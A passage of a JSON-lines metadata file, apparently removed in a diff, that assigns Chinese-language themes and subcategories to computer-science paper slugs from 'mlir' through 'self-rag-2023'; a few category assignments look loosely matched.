平台","source":"category","confidence":"high","rawCategory":"机器学习"} -{"slug":"mlir","area":"papers","theme":"编程语言","themeId":"programming-languages","subcategory":"类型与 PL 理论","source":"candidates.topic","confidence":"high","rawCategory":"编程语言"} -{"slug":"mllm-benchmark-survey-2024","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"多模态 LLM","source":"category","confidence":"high","rawCategory":"机器学习"} -{"slug":"mlvtg-2025","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"视频理解","source":"category","confidence":"high","rawCategory":"机器学习"} -{"slug":"mlvu-2024","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"视频理解","source":"category","confidence":"high","rawCategory":"机器学习"} -{"slug":"mme-benchmark-2023","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"多模态 LLM","source":"category","confidence":"high","rawCategory":"机器学习"} -{"slug":"mme-survey-2024","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"多模态 LLM","source":"category","confidence":"high","rawCategory":"机器学习"} -{"slug":"mmlu-2021","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"模型与训练","source":"candidates.topic","confidence":"high","rawCategory":"机器学习"} -{"slug":"mmmu-2023","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"多模态大模型","source":"category","confidence":"high","rawCategory":"机器学习"} -{"slug":"mmskills-multimodal","area":"papers","theme":"Agent","themeId":"agents","subcategory":"智能体与 LLM","source":"candidates.topic","confidence":"high","rawCategory":"Agent"} -{"slug":"mockapetris-1988-dns","area":"papers","theme":"网络协议","themeId":"network-protocols","subcategory":"网络协议","source":"candidates.topic","confidence":"high","rawCategory":"网络协议"} -{"slug":"mode-connectivity-2018","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"模型与训练","source":"candidates.topic","confidence":"high","rawCategory":"机器学习"} -{"slug":"moesi-cache-coherence-1986","area":"papers","theme":"图形学","themeId":"graphics","subcategory":"GPU 架构","source":"candidates.topic","confidence":"high","rawCategory":"图形学"} -{"slug":"mogul-1995-persistent-http","area":"papers","theme":"网络协议","themeId":"network-protocols","subcategory":"网络协议","source":"candidates.topic","confidence":"high","rawCategory":"网络协议"} -{"slug":"monaghan-1992-sph","area":"papers","theme":"图形学","themeId":"graphics","subcategory":"渲染与图形","source":"candidates.topic","confidence":"high","rawCategory":"图形学"} -{"slug":"monetdb-x100-2005","area":"papers","theme":"数据库","themeId":"databases","subcategory":"存储与查询","source":"candidates.topic","confidence":"high","rawCategory":"数据库"} -{"slug":"monitors-1974","area":"papers","theme":"操作系统","themeId":"operating-systems","subcategory":"内核与虚拟化","source":"candidates.topic","confidence":"high","rawCategory":"操作系统"} -{"slug":"moviechat-2024","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"视频理解","source":"category","confidence":"high","rawCategory":"机器学习"} -{"slug":"mplug-owl-2023","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"模型与训练","source":"category","confidence":"high","rawCategory":"机器学习"} -{"slug":"mptcp-2012","area":"papers","theme":"网络协议","themeId":"network-protocols","subcategory":"网络协议","source":"candidates.topic","confidence":"high","rawCategory":"网络协议"} -{"slug":"mqtt-s-2008","area":"papers","theme":"网络协议","themeId":"network-protocols","subcategory":"网络协议","source":"candidates.topic","confidence":"high","rawCategory":"网络协议"} -{"slug":"ms-marco-2016","area":"papers","theme":"信息检索","themeId":"info-retrieval","subcategory":"检索与排序","source":"candidates.topic","confidence":"high","rawCategory":"信息检索"} -{"slug":"mueller-2007-pbd","area":"papers","theme":"图形学","themeId":"graphics","subcategory":"渲染与图形","source":"candidates.topic","confidence":"high","rawCategory":"图形学"} -{"slug":"mueller-2022-instant-ngp","area":"papers","theme":"图形学","themeId":"graphics","subcategory":"渲染与图形","source":"candidates.topic","confidence":"high","rawCategory":"图形学"} -{"slug":"multics-1965","area":"papers","theme":"操作系统","themeId":"operating-systems","subcategory":"内核与虚拟化","source":"candidates.topic","confidence":"high","rawCategory":"操作系统"} -{"slug":"muzero","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"强化学习","source":"category","confidence":"high","rawCategory":"机器学习"} -{"slug":"mvbench-2023","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"视频理解","source":"category","confidence":"high","rawCategory":"机器学习"} -{"slug":"mycroft-strictness","area":"papers","theme":"编程语言","themeId":"programming-languages","subcategory":"类型与 PL 理论","source":"candidates.topic","confidence":"high","rawCategory":"编程语言"} -{"slug":"naiad-2013","area":"papers","theme":"分布式系统","themeId":"distributed-systems","subcategory":"共识与复制","source":"candidates.topic","confidence":"high","rawCategory":"分布式系统"} -{"slug":"narwhal-tusk-2022","area":"papers","theme":"分布式系统","themeId":"distributed-systems","subcategory":"共识与复制","source":"candidates.topic","confidence":"high","rawCategory":"分布式系统"} -{"slug":"nbeats-2020","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"模型与训练","source":"candidates.topic","confidence":"high","rawCategory":"机器学习"} -{"slug":"nelson-oppen-1979","area":"papers","theme":"形式化方法","themeId":"formal-methods","subcategory":"形式化验证","source":"candidates.topic","confidence":"high","rawCategory":"形式化方法"} -{"slug":"nerf-2020","area":"papers","theme":"图形学","themeId":"graphics","subcategory":"渲染与图形","source":"candidates.topic","confidence":"high","rawCategory":"图形学"} -{"slug":"netflix-bellkor-2009","area":"papers","theme":"信息检索","themeId":"info-retrieval","subcategory":"检索与排序","source":"candidates.topic","confidence":"high","rawCategory":"信息检索"} -{"slug":"netkat-2014","area":"papers","theme":"网络协议","themeId":"network-protocols","subcategory":"网络协议","source":"candidates.topic","confidence":"high","rawCategory":"网络协议"} -{"slug":"neumann-2015-large-joins","area":"papers","theme":"数据库","themeId":"databases","subcategory":"存储与查询","source":"candidates.topic","confidence":"high","rawCategory":"数据库"} -{"slug":"neumf-2017","area":"papers","theme":"信息检索","themeId":"info-retrieval","subcategory":"检索与排序","source":"candidates.topic","confidence":"high","rawCategory":"信息检索"} -{"slug":"newcombe-2011-kinectfusion","area":"papers","theme":"图形学","themeId":"graphics","subcategory":"渲染与图形","source":"candidates.topic","confidence":"high","rawCategory":"图形学"} -{"slug":"newsome-taintcheck-2005","area":"papers","theme":"安全与隐私","themeId":"security-privacy","subcategory":"安全与隐私","source":"candidates.topic","confidence":"high","rawCategory":"安全与隐私"} -{"slug":"nfs-1985","area":"papers","theme":"操作系统","themeId":"operating-systems","subcategory":"内核与虚拟化","source":"candidates.topic","confidence":"high","rawCategory":"操作系统"} -{"slug":"ngabonziza-trustzone-2016","area":"papers","theme":"安全与隐私","themeId":"security-privacy","subcategory":"安全与隐私","source":"candidates.topic","confidence":"high","rawCategory":"安全与隐私"} -{"slug":"nickolls-dally-2010-cuda-era","area":"papers","theme":"图形学","themeId":"graphics","subcategory":"渲染与图形","source":"candidates.topic","confidence":"high","rawCategory":"图形学"} -{"slug":"nieuwenhuis-dpll-t-2006","area":"papers","theme":"形式化方法","themeId":"formal-methods","subcategory":"形式化验证","source":"candidates.topic","confidence":"high","rawCategory":"形式化方法"} -{"slug":"nimier-david-2019-mitsuba2","area":"papers","theme":"图形学","themeId":"graphics","subcategory":"渲染与图形","source":"candidates.topic","confidence":"high","rawCategory":"图形学"} -{"slug":"nix","area":"papers","theme":"CLI","themeId":"cli","subcategory":"包管理 / 系统","source":"category","confidence":"high","rawCategory":"CLI"} -{"slug":"no-silver-bullet","area":"papers","theme":"其他","themeId":"other","subcategory":"软件工程","source":"category","confidence":"high","rawCategory":"其他"} -{"slug":"ntk-2018","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"模型与训练","source":"candidates.topic","confidence":"high","rawCategory":"机器学习"} -{"slug":"ntp-mills-1991","area":"papers","theme":"分布式系统","themeId":"distributed-systems","subcategory":"共识与复制","source":"candidates.topic","confidence":"high","rawCategory":"分布式系统"} -{"slug":"nuprl-1986","area":"papers","theme":"形式化方法","themeId":"formal-methods","subcategory":"形式化验证","source":"candidates.topic","confidence":"high","rawCategory":"形式化方法"} -{"slug":"nvila-2024","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"模型与训练","source":"category","confidence":"high","rawCategory":"机器学习"} -{"slug":"nvlink-nvswitch-2018","area":"papers","theme":"图形学","themeId":"graphics","subcategory":"GPU 架构","source":"candidates.topic","confidence":"high","rawCategory":"图形学"} -{"slug":"nvm","area":"papers","theme":"后端 API","themeId":"backend-api","subcategory":"前端工具链","source":"category","confidence":"high","rawCategory":"后端 API"} -{"slug":"nvme-protocol-2017","area":"papers","theme":"图形学","themeId":"graphics","subcategory":"GPU 架构","source":"candidates.topic","confidence":"high","rawCategory":"图形学"} -{"slug":"oauth-2.1-rfc","area":"papers","theme":"后端 API","themeId":"backend-api","subcategory":"后端","source":"category","confidence":"high","rawCategory":"后端 API"} -{"slug":"okapi-bm25-1994","area":"papers","theme":"信息检索","themeId":"info-retrieval","subcategory":"检索与排序","source":"candidates.topic","confidence":"high","rawCategory":"信息检索"} -{"slug":"omagent-2024","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"视频理解","source":"category","confidence":"high","rawCategory":"机器学习"} -{"slug":"omega-2013","area":"papers","theme":"操作系统","themeId":"operating-systems","subcategory":"内核与虚拟化","source":"candidates.topic","confidence":"high","rawCategory":"操作系统"} -{"slug":"omnidirectional-mllm-2025","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"视频理解","source":"category","confidence":"high","rawCategory":"机器学习"} -{"slug":"omnistvg-2025","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"视频理解","source":"category","confidence":"high","rawCategory":"机器学习"} -{"slug":"opencl-2010","area":"papers","theme":"图形学","themeId":"graphics","subcategory":"GPU 架构","source":"candidates.topic","confidence":"high","rawCategory":"图形学"} -{"slug":"openflow-2008","area":"papers","theme":"网络协议","themeId":"network-protocols","subcategory":"网络协议","source":"candidates.topic","confidence":"high","rawCategory":"网络协议"} -{"slug":"openhands","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"智能体与 LLM","source":"category","confidence":"high","rawCategory":"机器学习"} -{"slug":"opensearch","area":"papers","theme":"基础设施","themeId":"infrastructure","subcategory":"基础设施","source":"category","confidence":"high","rawCategory":"基础设施"} -{"slug":"optuna","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"机器学习 / 超参优化","source":"category","confidence":"high","rawCategory":"机器学习"} -{"slug":"orca-2022","area":"papers","theme":"图形学","themeId":"graphics","subcategory":"GPU 架构","source":"candidates.topic","confidence":"high","rawCategory":"图形学"} -{"slug":"orca-continuous-batching","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"模型与训练","source":"category","confidence":"high","rawCategory":"机器学习"} -{"slug":"ot-1989","area":"papers","theme":"分布式系统","themeId":"distributed-systems","subcategory":"共识与复制","source":"candidates.topic","confidence":"high","rawCategory":"分布式系统"} -{"slug":"owens-2007-gpgpu-survey","area":"papers","theme":"图形学","themeId":"graphics","subcategory":"渲染与图形","source":"candidates.topic","confidence":"high","rawCategory":"图形学"} -{"slug":"p4-2014","area":"papers","theme":"网络协议","themeId":"network-protocols","subcategory":"网络协议","source":"candidates.topic","confidence":"high","rawCategory":"网络协议"} -{"slug":"padmanabhan-1995-http-latency","area":"papers","theme":"网络协议","themeId":"network-protocols","subcategory":"网络协议","source":"candidates.topic","confidence":"high","rawCategory":"网络协议"} -{"slug":"pagerank-1998","area":"papers","theme":"信息检索","themeId":"info-retrieval","subcategory":"检索与排序","source":"candidates.topic","confidence":"high","rawCategory":"信息检索"} -{"slug":"pair-programming","area":"papers","theme":"其他","themeId":"other","subcategory":"软件工程","source":"category","confidence":"high","rawCategory":"其他"} -{"slug":"panel","area":"papers","theme":"数据可视化","themeId":"dataviz","subcategory":"数据可视化","source":"category","confidence":"high","rawCategory":"数据可视化"} -{"slug":"park-2019-deepsdf","area":"papers","theme":"图形学","themeId":"graphics","subcategory":"渲染与图形","source":"candidates.topic","confidence":"high","rawCategory":"图形学"} -{"slug":"parti-2022","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"模型与训练","source":"candidates.topic","confidence":"high","rawCategory":"机器学习"} -{"slug":"partial-evaluation-jones","area":"papers","theme":"编程语言","themeId":"programming-languages","subcategory":"类型与 PL 理论","source":"candidates.topic","confidence":"high","rawCategory":"编程语言"} -{"slug":"pascal-architecture-2016","area":"papers","theme":"图形学","themeId":"graphics","subcategory":"GPU 架构","source":"candidates.topic","confidence":"high","rawCategory":"图形学"} -{"slug":"pastry-2001","area":"papers","theme":"网络协议","themeId":"network-protocols","subcategory":"网络协议","source":"candidates.topic","confidence":"high","rawCategory":"网络协议"} -{"slug":"paxos-1998","area":"papers","theme":"数据库","themeId":"databases","subcategory":"存储与查询","source":"candidates.topic","confidence":"high","rawCategory":"数据库"} -{"slug":"paxos-simple-2001","area":"papers","theme":"数据库","themeId":"databases","subcategory":"存储与查询","source":"candidates.topic","confidence":"high","rawCategory":"数据库"} -{"slug":"paxos","area":"papers","theme":"分布式系统","themeId":"distributed-systems","subcategory":"分布式系统","source":"category","confidence":"high","rawCategory":"分布式系统"} -{"slug":"pbft-1999","area":"papers","theme":"分布式系统","themeId":"distributed-systems","subcategory":"共识与复制","source":"candidates.topic","confidence":"high","rawCategory":"分布式系统"} -{"slug":"peg-packrat-ford","area":"papers","theme":"编程语言","themeId":"programming-languages","subcategory":"类型与 PL 理论","source":"candidates.topic","confidence":"high","rawCategory":"编程语言"} -{"slug":"percolator-2010","area":"papers","theme":"分布式系统","themeId":"distributed-systems","subcategory":"共识与复制","source":"candidates.topic","confidence":"high","rawCategory":"分布式系统"} -{"slug":"performer-2020","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"模型与训练","source":"candidates.topic","confidence":"high","rawCategory":"机器学习"} -{"slug":"perlin-1985-noise","area":"papers","theme":"图形学","themeId":"graphics","subcategory":"渲染与图形","source":"candidates.topic","confidence":"high","rawCategory":"图形学"} -{"slug":"persistent-memory-2014","area":"papers","theme":"图形学","themeId":"graphics","subcategory":"GPU 架构","source":"candidates.topic","confidence":"high","rawCategory":"图形学"} -{"slug":"personalized-pagerank-2003","area":"papers","theme":"信息检索","themeId":"info-retrieval","subcategory":"检索与排序","source":"candidates.topic","confidence":"high","rawCategory":"信息检索"} -{"slug":"peyton-jones-stg","area":"papers","theme":"编程语言","themeId":"programming-languages","subcategory":"类型与 PL 理论","source":"candidates.topic","confidence":"high","rawCategory":"编程语言"} -{"slug":"phong-1975","area":"papers","theme":"图形学","themeId":"graphics","subcategory":"渲染与图形","source":"candidates.topic","confidence":"high","rawCategory":"图形学"} -{"slug":"piotrowska-loopix-2017","area":"papers","theme":"安全与隐私","themeId":"security-privacy","subcategory":"安全与隐私","source":"candidates.topic","confidence":"high","rawCategory":"安全与隐私"} -{"slug":"pipedream-2019","area":"papers","theme":"图形学","themeId":"graphics","subcategory":"GPU 架构","source":"candidates.topic","confidence":"high","rawCategory":"图形学"} -{"slug":"pivot-tracing-2015","area":"papers","theme":"分布式系统","themeId":"distributed-systems","subcategory":"共识与复制","source":"candidates.topic","confidence":"high","rawCategory":"分布式系统"} -{"slug":"plan9-1995","area":"papers","theme":"操作系统","themeId":"operating-systems","subcategory":"内核与虚拟化","source":"candidates.topic","confidence":"high","rawCategory":"操作系统"} -{"slug":"plenoxels-2022","area":"papers","theme":"图形学","themeId":"graphics","subcategory":"渲染与图形","source":"candidates.topic","confidence":"high","rawCategory":"图形学"} -{"slug":"plotkin-sos","area":"papers","theme":"编程语言","themeId":"programming-languages","subcategory":"类型与 PL 理论","source":"candidates.topic","confidence":"high","rawCategory":"编程语言"} -{"slug":"pnueli-temporal-1977","area":"papers","theme":"形式化方法","themeId":"formal-methods","subcategory":"形式化验证","source":"candidates.topic","confidence":"high","rawCategory":"形式化方法"} -{"slug":"pnuts-2008","area":"papers","theme":"分布式系统","themeId":"distributed-systems","subcategory":"共识与复制","source":"candidates.topic","confidence":"high","rawCategory":"分布式系统"} -{"slug":"polar-codes-2009","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"信息论","source":"category","confidence":"high","rawCategory":"机器学习"} -{"slug":"pottier-merr","area":"papers","theme":"编程语言","themeId":"programming-languages","subcategory":"类型与 PL 理论","source":"candidates.topic","confidence":"high","rawCategory":"编程语言"} -{"slug":"ppo","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"强化学习","source":"category","confidence":"high","rawCategory":"机器学习"} -{"slug":"presumed-abort-1986","area":"papers","theme":"分布式系统","themeId":"distributed-systems","subcategory":"共识与复制","source":"candidates.topic","confidence":"high","rawCategory":"分布式系统"} -{"slug":"product-quantization-2011","area":"papers","theme":"数据库","themeId":"databases","subcategory":"存储与查询","source":"candidates.topic","confidence":"high","rawCategory":"数据库"} -{"slug":"program-comprehension-fmri","area":"papers","theme":"其他","themeId":"other","subcategory":"软件工程认知科学","source":"category","confidence":"high","rawCategory":"其他"} -{"slug":"programmer-interruption","area":"papers","theme":"其他","themeId":"other","subcategory":"软件工程","source":"category","confidence":"high","rawCategory":"其他"} -{"slug":"prolog-colmerauer","area":"papers","theme":"编程语言","themeId":"programming-languages","subcategory":"类型与 PL 理论","source":"candidates.topic","confidence":"high","rawCategory":"编程语言"} -{"slug":"prototypical-networks-2017","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"模型与训练","source":"candidates.topic","confidence":"high","rawCategory":"机器学习"} -{"slug":"proverif-2001","area":"papers","theme":"形式化方法","themeId":"formal-methods","subcategory":"形式化验证","source":"candidates.topic","confidence":"high","rawCategory":"形式化方法"} -{"slug":"ps-li-2014","area":"papers","theme":"分布式系统","themeId":"distributed-systems","subcategory":"共识与复制","source":"candidates.topic","confidence":"high","rawCategory":"分布式系统"} -{"slug":"push-pull-frp","area":"papers","theme":"编程语言","themeId":"programming-languages","subcategory":"编程语言","source":"category","confidence":"high","rawCategory":"编程语言"} -{"slug":"pypy-tracing-jit","area":"papers","theme":"编程语言","themeId":"programming-languages","subcategory":"类型与 PL 理论","source":"candidates.topic","confidence":"high","rawCategory":"编程语言"} -{"slug":"quantum-supremacy-2019","area":"papers","theme":"图形学","themeId":"graphics","subcategory":"GPU 架构","source":"candidates.topic","confidence":"high","rawCategory":"图形学"} -{"slug":"quic","area":"papers","theme":"网络协议","themeId":"network-protocols","subcategory":"计算机网络","source":"category","confidence":"high","rawCategory":"网络协议"} -{"slug":"quincy-2009","area":"papers","theme":"分布式系统","themeId":"distributed-systems","subcategory":"共识与复制","source":"candidates.topic","confidence":"high","rawCategory":"分布式系统"} -{"slug":"qvhighlights-2021","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"视频理解","source":"category","confidence":"high","rawCategory":"机器学习"} -{"slug":"qwen2-5-vl-2025","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"视频理解","source":"category","confidence":"high","rawCategory":"机器学习"} -{"slug":"qwen2-vl-2024","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"视频理解","source":"category","confidence":"high","rawCategory":"机器学习"} -{"slug":"r-bgp-2007","area":"papers","theme":"网络协议","themeId":"network-protocols","subcategory":"网络协议","source":"candidates.topic","confidence":"high","rawCategory":"网络协议"} -{"slug":"rabin-ot-1981","area":"papers","theme":"安全与隐私","themeId":"security-privacy","subcategory":"安全与隐私","source":"candidates.topic","confidence":"high","rawCategory":"安全与隐私"} -{"slug":"raft","area":"papers","theme":"分布式系统","themeId":"distributed-systems","subcategory":"分布式系统","source":"category","confidence":"high","rawCategory":"分布式系统"} -{"slug":"rag-lewis-2020","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"AI / NLP","source":"category","confidence":"high","rawCategory":"机器学习"} -{"slug":"ranknet-2005","area":"papers","theme":"信息检索","themeId":"info-retrieval","subcategory":"检索与排序","source":"candidates.topic","confidence":"high","rawCategory":"信息检索"} -{"slug":"rcu-2001","area":"papers","theme":"操作系统","themeId":"operating-systems","subcategory":"内核与虚拟化","source":"candidates.topic","confidence":"high","rawCategory":"操作系统"} -{"slug":"react-server-components","area":"papers","theme":"后端 API","themeId":"backend-api","subcategory":"前端框架","source":"category","confidence":"high","rawCategory":"后端 API"} -{"slug":"react","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"智能体与 LLM","source":"category","confidence":"high","rawCategory":"机器学习"} -{"slug":"realm","area":"papers","theme":"NLP","themeId":"nlp","subcategory":"自然语言处理","source":"category","confidence":"high","rawCategory":"NLP"} -{"slug":"red-1993","area":"papers","theme":"网络协议","themeId":"network-protocols","subcategory":"网络协议","source":"candidates.topic","confidence":"high","rawCategory":"网络协议"} -{"slug":"reed-onion-routing-1998","area":"papers","theme":"安全与隐私","themeId":"security-privacy","subcategory":"安全与隐私","source":"candidates.topic","confidence":"high","rawCategory":"安全与隐私"} -{"slug":"reed-solomon-1960","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"信息论","source":"category","confidence":"high","rawCategory":"机器学习"} -{"slug":"refinement-types-1991","area":"papers","theme":"编程语言","themeId":"programming-languages","subcategory":"类型与 PL 理论","source":"candidates.topic","confidence":"high","rawCategory":"编程语言"} -{"slug":"reflexion","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"智能体与 LLM","source":"category","confidence":"high","rawCategory":"机器学习"} -{"slug":"reformer-2020","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"模型与训练","source":"candidates.topic","confidence":"high","rawCategory":"机器学习"} -{"slug":"regev-lwe-2005","area":"papers","theme":"安全与隐私","themeId":"security-privacy","subcategory":"安全与隐私","source":"candidates.topic","confidence":"high","rawCategory":"安全与隐私"} -{"slug":"replug-2023","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"模型与训练","source":"candidates.topic","confidence":"high","rawCategory":"机器学习"} -{"slug":"reps-ifds","area":"papers","theme":"编程语言","themeId":"programming-languages","subcategory":"类型与 PL 理论","source":"candidates.topic","confidence":"high","rawCategory":"编程语言"} -{"slug":"resnet","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"计算机视觉 / 深度学习","source":"category","confidence":"high","rawCategory":"机器学习"} -{"slug":"rest-fielding-2000","area":"papers","theme":"后端 API","themeId":"backend-api","subcategory":"后端","source":"category","confidence":"high","rawCategory":"后端 API"} -{"slug":"retro","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"AI / NLP","source":"category","confidence":"high","rawCategory":"机器学习"} -{"slug":"reynolds-definitional-interpreters","area":"papers","theme":"编程语言","themeId":"programming-languages","subcategory":"类型与 PL 理论","source":"candidates.topic","confidence":"high","rawCategory":"编程语言"} -{"slug":"reynolds-separation-logic","area":"papers","theme":"编程语言","themeId":"programming-languages","subcategory":"类型与 PL 理论","source":"candidates.topic","confidence":"high","rawCategory":"编程语言"} -{"slug":"rfc-3833-dns-threats","area":"papers","theme":"网络协议","themeId":"network-protocols","subcategory":"网络协议","source":"candidates.topic","confidence":"high","rawCategory":"网络协议"} -{"slug":"ring-allreduce-2017","area":"papers","theme":"图形学","themeId":"graphics","subcategory":"GPU 架构","source":"candidates.topic","confidence":"high","rawCategory":"图形学"} -{"slug":"risc-i-1981","area":"papers","theme":"图形学","themeId":"graphics","subcategory":"GPU 架构","source":"candidates.topic","confidence":"high","rawCategory":"图形学"} -{"slug":"rlhf-christiano","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"强化学习 / AI 安全","source":"category","confidence":"high","rawCategory":"机器学习"} -{"slug":"rm3-2001","area":"papers","theme":"信息检索","themeId":"info-retrieval","subcategory":"检索与排序","source":"candidates.topic","confidence":"high","rawCategory":"信息检索"} -{"slug":"roberta-2019","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"模型与训练","source":"candidates.topic","confidence":"high","rawCategory":"机器学习"} -{"slug":"rocketqa-2021","area":"papers","theme":"信息检索","themeId":"info-retrieval","subcategory":"检索与排序","source":"candidates.topic","confidence":"high","rawCategory":"信息检索"} -{"slug":"rocksdb-2017","area":"papers","theme":"数据库","themeId":"databases","subcategory":"存储与查询","source":"candidates.topic","confidence":"high","rawCategory":"数据库"} -{"slug":"rocksdb-lsm","area":"papers","theme":"数据库","themeId":"databases","subcategory":"数据库","source":"category","confidence":"high","rawCategory":"数据库"} -{"slug":"ron-2001","area":"papers","theme":"网络协议","themeId":"network-protocols","subcategory":"网络协议","source":"candidates.topic","confidence":"high","rawCategory":"网络协议"} -{"slug":"row-polymorphism-remy","area":"papers","theme":"编程语言","themeId":"programming-languages","subcategory":"类型与 PL 理论","source":"candidates.topic","confidence":"high","rawCategory":"编程语言"} -{"slug":"rrf-cormack-2009","area":"papers","theme":"信息检索","themeId":"info-retrieval","subcategory":"数据检索","source":"category","confidence":"high","rawCategory":"信息检索"} -{"slug":"rsa","area":"papers","theme":"安全与隐私","themeId":"security-privacy","subcategory":"密码学","source":"category","confidence":"high","rawCategory":"安全与隐私"} -{"slug":"rtp-rfc-1889","area":"papers","theme":"网络协议","themeId":"network-protocols","subcategory":"网络协议","source":"candidates.topic","confidence":"high","rawCategory":"网络协议"} -{"slug":"rwkv-2023","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"模型与训练","source":"candidates.topic","confidence":"high","rawCategory":"机器学习"} -{"slug":"sac-2018","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"模型与训练","source":"candidates.topic","confidence":"high","rawCategory":"机器学习"} -{"slug":"saga-1987","area":"papers","theme":"分布式系统","themeId":"distributed-systems","subcategory":"共识与复制","source":"candidates.topic","confidence":"high","rawCategory":"分布式系统"} -{"slug":"sagiv-shape-analysis","area":"papers","theme":"编程语言","themeId":"programming-languages","subcategory":"类型与 PL 理论","source":"candidates.topic","confidence":"high","rawCategory":"编程语言"} -{"slug":"saito-takahashi-1990-gbuffer","area":"papers","theme":"图形学","themeId":"graphics","subcategory":"渲染与图形","source":"candidates.topic","confidence":"high","rawCategory":"图形学"} -{"slug":"salsa-adapton","area":"papers","theme":"编程语言","themeId":"programming-languages","subcategory":"编程语言","source":"category","confidence":"high","rawCategory":"编程语言"} -{"slug":"salsify-2018","area":"papers","theme":"网络协议","themeId":"network-protocols","subcategory":"网络协议","source":"candidates.topic","confidence":"high","rawCategory":"网络协议"} -{"slug":"salton-vsm-1975","area":"papers","theme":"信息检索","themeId":"info-retrieval","subcategory":"检索与排序","source":"candidates.topic","confidence":"high","rawCategory":"信息检索"} -{"slug":"saltzer-1984-e2e","area":"papers","theme":"网络协议","themeId":"network-protocols","subcategory":"网络协议","source":"candidates.topic","confidence":"high","rawCategory":"网络协议"} -{"slug":"saltzer-schroeder-1975","area":"papers","theme":"操作系统","themeId":"operating-systems","subcategory":"内核与虚拟化","source":"candidates.topic","confidence":"high","rawCategory":"操作系统"} -{"slug":"sam","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"计算机视觉","source":"category","confidence":"high","rawCategory":"机器学习"} -{"slug":"sarathi-serve","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"大模型服务","source":"category","confidence":"high","rawCategory":"机器学习"} -{"slug":"sasrec-2018","area":"papers","theme":"信息检索","themeId":"info-retrieval","subcategory":"检索与排序","source":"candidates.topic","confidence":"high","rawCategory":"信息检索"} -{"slug":"scala-macros","area":"papers","theme":"编程语言","themeId":"programming-languages","subcategory":"类型与 PL 理论","source":"candidates.topic","confidence":"high","rawCategory":"编程语言"} -{"slug":"scaling-laws","area":"papers","theme":"NLP","themeId":"nlp","subcategory":"NLP","source":"category","confidence":"high","rawCategory":"NLP"} -{"slug":"scann-2020","area":"papers","theme":"信息检索","themeId":"info-retrieval","subcategory":"检索与排序","source":"candidates.topic","confidence":"high","rawCategory":"信息检索"} -{"slug":"scoop","area":"papers","theme":"基础设施","themeId":"infrastructure","subcategory":"工具与基础设施","source":"category","confidence":"high","rawCategory":"基础设施"} -{"slug":"scott-strachey-denotational","area":"papers","theme":"编程语言","themeId":"programming-languages","subcategory":"类型与 PL 理论","source":"candidates.topic","confidence":"high","rawCategory":"编程语言"} -{"slug":"sctp-multipath-2006","area":"papers","theme":"网络协议","themeId":"network-protocols","subcategory":"网络协议","source":"candidates.topic","confidence":"high","rawCategory":"网络协议"} -{"slug":"sel4-2009","area":"papers","theme":"操作系统","themeId":"operating-systems","subcategory":"内核与虚拟化","source":"candidates.topic","confidence":"high","rawCategory":"操作系统"} -{"slug":"self-adjusting","area":"papers","theme":"编程语言","themeId":"programming-languages","subcategory":"编程语言","source":"category","confidence":"high","rawCategory":"编程语言"} -{"slug":"self-consistency-2022","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"模型与训练","source":"candidates.topic","confidence":"high","rawCategory":"机器学习"} -{"slug":"self-customization","area":"papers","theme":"编程语言","themeId":"programming-languages","subcategory":"类型与 PL 理论","source":"candidates.topic","confidence":"high","rawCategory":"编程语言"} -{"slug":"self-evolving-agents-survey","area":"papers","theme":"Agent","themeId":"agents","subcategory":"智能体与 LLM","source":"candidates.topic","confidence":"high","rawCategory":"Agent"} -{"slug":"self-evolving-recsys-2602","area":"papers","theme":"Agent","themeId":"agents","subcategory":"智能体与 LLM","source":"candidates.topic","confidence":"high","rawCategory":"Agent"} -{"slug":"self-evolving-software-agents","area":"papers","theme":"Agent","themeId":"agents","subcategory":"智能体与 LLM","source":"candidates.topic","confidence":"high","rawCategory":"Agent"} -{"slug":"self-pic","area":"papers","theme":"编译器","themeId":"compilers","subcategory":"编译器","source":"category","confidence":"high","rawCategory":"编译器"} -{"slug":"self-rag-2023","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"模型与训练","source":"candidates.topic","confidence":"high","rawCategory":"机器学习"} 